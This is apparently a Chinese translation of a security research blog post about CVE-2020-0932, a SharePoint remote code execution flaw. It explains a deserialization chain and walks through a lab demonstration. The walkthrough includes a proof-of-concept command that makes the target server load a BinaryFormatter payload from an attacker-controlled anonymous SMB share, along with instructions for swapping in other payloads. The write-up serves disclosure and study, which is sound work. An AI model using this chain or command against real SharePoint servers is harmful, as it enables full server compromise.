2020年4月,Microsoft发布了四个严重级、两个重要级补丁,用来修复Microsoft SharePoint中存在的远程代码执行漏洞。以上均是反序列化漏洞,其中两个来自匿名研究人员的ZDI程序:CVE-2020-0931和CVE-2020-0932。本博客会详细介绍了最后一个CVE,该漏洞也称为ZDI-20-468。让我们先来看一段VCR来了解一下这个漏洞。
(这里有一段三分钟的小视频)
此漏洞允许经过身份验证的用户在SharePoint服务器上执行任意代码。这些代码会在SharePoint程序帐户的上下文中执行。为了成功进行攻击,攻击者必须在SharePoint网站上或至少在网站的一个页面上具有“添加或自定义页面”权限。但是,SharePoint的默认配置允许任何经过身份验证的用户创建自己的网站,而这些网站都是包含所有攻击所需的权限。
此漏洞产生的原因是,SharePoint在解析WebParts的XML配置时不限制属性的可用类型。对于某个属性,攻击者可以指定一串字符串和一个类型名称,而SharePoint会尝试使用类型转换器把与指定类型相对应的字符串来转换该恶意字符串。然而,SharePoint库中存在的某些类型转换器是可被用于任意代码执行的,从而导致该漏洞产生。
此攻击的入口点是WebPartPages)的Web服务,位于以下位置:
'http://<Site>/_vti_bin/WebPartPages.asmx'
在此Web服务的实现中,有几种方法可以解析XML的WebParts配置,其中之一是RenderWebPartForEdit。请注意,RenderWebPartForEdit)作为一种WebMethod是公开的,因此可以通过HTTP请求来调用它:
下一个函数十分复杂,称为webPartImporter.CreateWebPart(),它可以解析两种不同版本的XML配置:WebPart/v2(.dwp)文件和WebPart/v3(.webpart)文件,本文重点是对第二个(.webpart文件)的解析。但是此函数中的大部分代码专用于类型解析和WebPart本身的验证,与本攻击无关,所以对应部分在此不进行详细说明。
XML格式的payload将传递给ImportWebPartBase()函数。
这意味着所有property元素将通过以下函数来处理ImportWebPartFile.AddToProperyArrayLists():
至此,我们控制了两个关键的字符串:text和xmlAttributeValue2。text来自property元素的文本内容,而xmlAttributeValue2来自元素的type属性。上述代码在xmlAttributeValue2的基础上选择了一个.NET属性的Type,然后使用这个Type的TypeConverter函数将text文本的内容转换成.NET对象实例(propValue)。
现在,我们来看看哪些对象可用。
可以看出,没有对对象做任何限制,因此你想用啥对象都行。
为了可以执行任意代码,我们将使用System.Resources.ResXFileRef类型及其类型转换器:System.Resources.ResXFileRef.Converter:
上述代码表明System.Resources.ResXFileRef.Converter将采用我们指定的字符串(value)并解析出两条数据。第一个为array[0],将被解释为.resources资源文件的路径;第二个为array[1],将被解释为任意.NET Type对象的名称。上述代码将实例化指定的对象Type,并将单个参数传递给构造函数。该参数是一个流,包含了我们指定的.resources文件的内容。由于我们能够指定攻击者控制的SMB服务器的远程路径,因此我们可以完全控制这个流的内容。
最后一个难点是要确定一个可用的.NET对象,该对象的构造函数带有一个Stream对象的单个参数,这个.NET对象就可以用于执行任意代码。一种可能的解决方案是System.Resources.ResourceSet函数:
在这里,我们只对两行感兴趣:第一行和最后一行。第一行调用的构造函数System.Resources.ResourceReader:
这是非常有用的,因为它会获取Stream的内容,并将其提供给BinaryFormatter。这个操作很容易导致任意对象反序列化。
回顾System.Resources.ResourceSet构造函数的最后一行,沿着代码执行的路径向下追踪调用发现:
这表明服务器将反序列化一些不受信任的数据,这使我们能够执行任意代码。
要实现这个漏洞利用,我们需要一个包含有效payload的已编译的.resources资源文件。我们可以使用Visual Studio创建这个文件。在编译时,Visual Studio使用资源文件生成器(Resgen.exe)将.resx文件转换为二进制资源(.resources)文件。为了实现注入我们的dpayload,我们可以编辑.resx文件并将现有data节点替换为以下内容:
现在我们可以保存这个.resx文件并编译当前项目。Visual Studio会将已编译的.resources文件放在/obj文件夹中。
为了演示此漏洞利用,我们使用Windows Server 2019 Datacenter服务器,服务器上安装了Microsoft SharePoint Server 2019,所有选项均为默认。计算机名称设置为sp2019.contoso.lab,并将其添加到contoso.lab域中。域控制器位于另外单独的虚拟机上。我们添加了几个用户,其中包括user2作为常规非特权用户。
对于攻击者系统,任何受支持的Web浏览器都可。在以下屏幕截图中,我们使用的是Mozilla Firefox 69.0.3。我们还将使用我们自己编写的SP_soap_RCE_PoC.exe应用程序发送攻击指令。您可以在此处下载所有必需的文件来自己尝试。对于不同的BinaryFormatter有效负载,您将需要YSoSerial.Net。对于此演示,我们PoC中的硬编码有效载荷就足够了。
下一步是设置由攻击者控制的远程SMB服务器,可以是能够从目标SharePoint服务器接收流量的任何计算机。在此服务器上,您将需要配置一个不需要身份验证的共享文件夹。这可能有些棘手,但是此处详细介绍了执行此操作的步骤(这个博主真是贴心)。我们此次演示使用的是Windows Server 2016 Standard服务器,IP地址为192.168.50.210。除了已列出的共享文件夹的步骤外,我们还在该共享文件夹的“安全性”选项卡中勾选了“所有人”,“访客”和“匿名登录”选项。
聪明的读者可能会问,为什么SharePoint服务器会同意访问一个匿名SMB共享。出于安全考虑,Windows SMB客户端通常是不允许这种操作的。这是从Windows 10和Windows Server 2016的1709版开始引入的解决措施。答案是,由于某种原因,SharePoint安装程序会通过注册表项关闭这个操作。在注册表项HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters中,它的值AllowInsecureGuestAuth设置为1。
创建并配置文件夹后,我们可以将BinaryFormatter的payload放在此文件夹中并继续进行攻击。在本演示中,我们将其命名为SP_soap_RCE_PoC.RCE_Resource.resources。
让我们首先访问SharePoint Server并以普通用户身份进行身份验证。本次演示中该普通用户为user2:
现在,我们已验证身份登录:
接下来,我们创建自己的网站,以便我们成为所有者并拥有所有权限。请注意,如果攻击者无法创建自己的网站,他们仍然可以尝试所有现有的网站和页面,找到一个具有“添加或自定义”权限的页面。
单击顶部面板上的“SharePoint”:
现在,单击“+创建站点”链接:
对于此演示,我们选择“Team Site”,但这些都不重要。现在我们需要为新站点选择一个名称,我们使用的是siteofuser2。
另外,我们需要新站点的BaseURL。我们可以在下面显示的表单中,那个绿色的“Available”标签上方看到它。在此示例中,它是'http://sp2019/sites/siteofuser2:'
单击“ 完成 ”,将创建新站点:
现在,我们转到目标SharePoint服务器并打开该C:\windows\temp文件夹。
可以看到,temp文件夹中还没有Vuln_Server.txt文件。如果成功,我们的PoC将创建此文件。接下来,我们确认SP_soap_RCE_PoC.RCE_Resource.resources文件存在于攻击者控制的SMB服务器上:
现在,让我们回到“攻击者”机器。我们将使用我们的自定义SP_soap_RCE_PoC.exe可执行文件进行攻击。我们需要提供以下信息作为参数:
--目标SharePoint网站的BaseUrl。在此演示中,它是'http://sp2019/sites/siteofuser2/'
--用户名 –在我们的例子中是user2
--密码
--域
--有效负载文件的远程路径。
该命令最终看起来像这样:
'SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources'
在此过程中,SharePoint会报告一个错误,但该攻击是成功的。我们可以检查Temp目标服务器上的文件夹:
本文显示了攻击者如何执行任意OS命令,这些命令会危及整个服务器。要执行其他命令,您可以生成自己的*.resource文件。然后在文本编辑器中打开该RCE_Resource.resx文件,并将base64格式的payload替换为所需的payload即可:
然后,保存该文件,在Visual Studio中打开项目并重建它。包含新payload的文件SP_soap_RCE_PoC.RCE_Resource.resources保存在文件夹\SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\中。
微软表示,此漏洞是通过“更正SharePoint如何检查应用程序包的源标记”而修复的。有趣的是,所有六个SharePoint漏洞(包括“重要级”漏洞)都具有完全相同的write-up。供应商并没有说明为什么其中一些漏洞被评为“重要级”,而另一些则被评为“严重级”。因此,我们建议您将所有错误都视为“严重”。过去,SharePoint漏洞很受攻击者欢迎。2019年,CVE-2019-0604漏洞被广泛使用,时间会证明此漏洞终将为罪犯所青睐。(来自博主的一些小吐槽)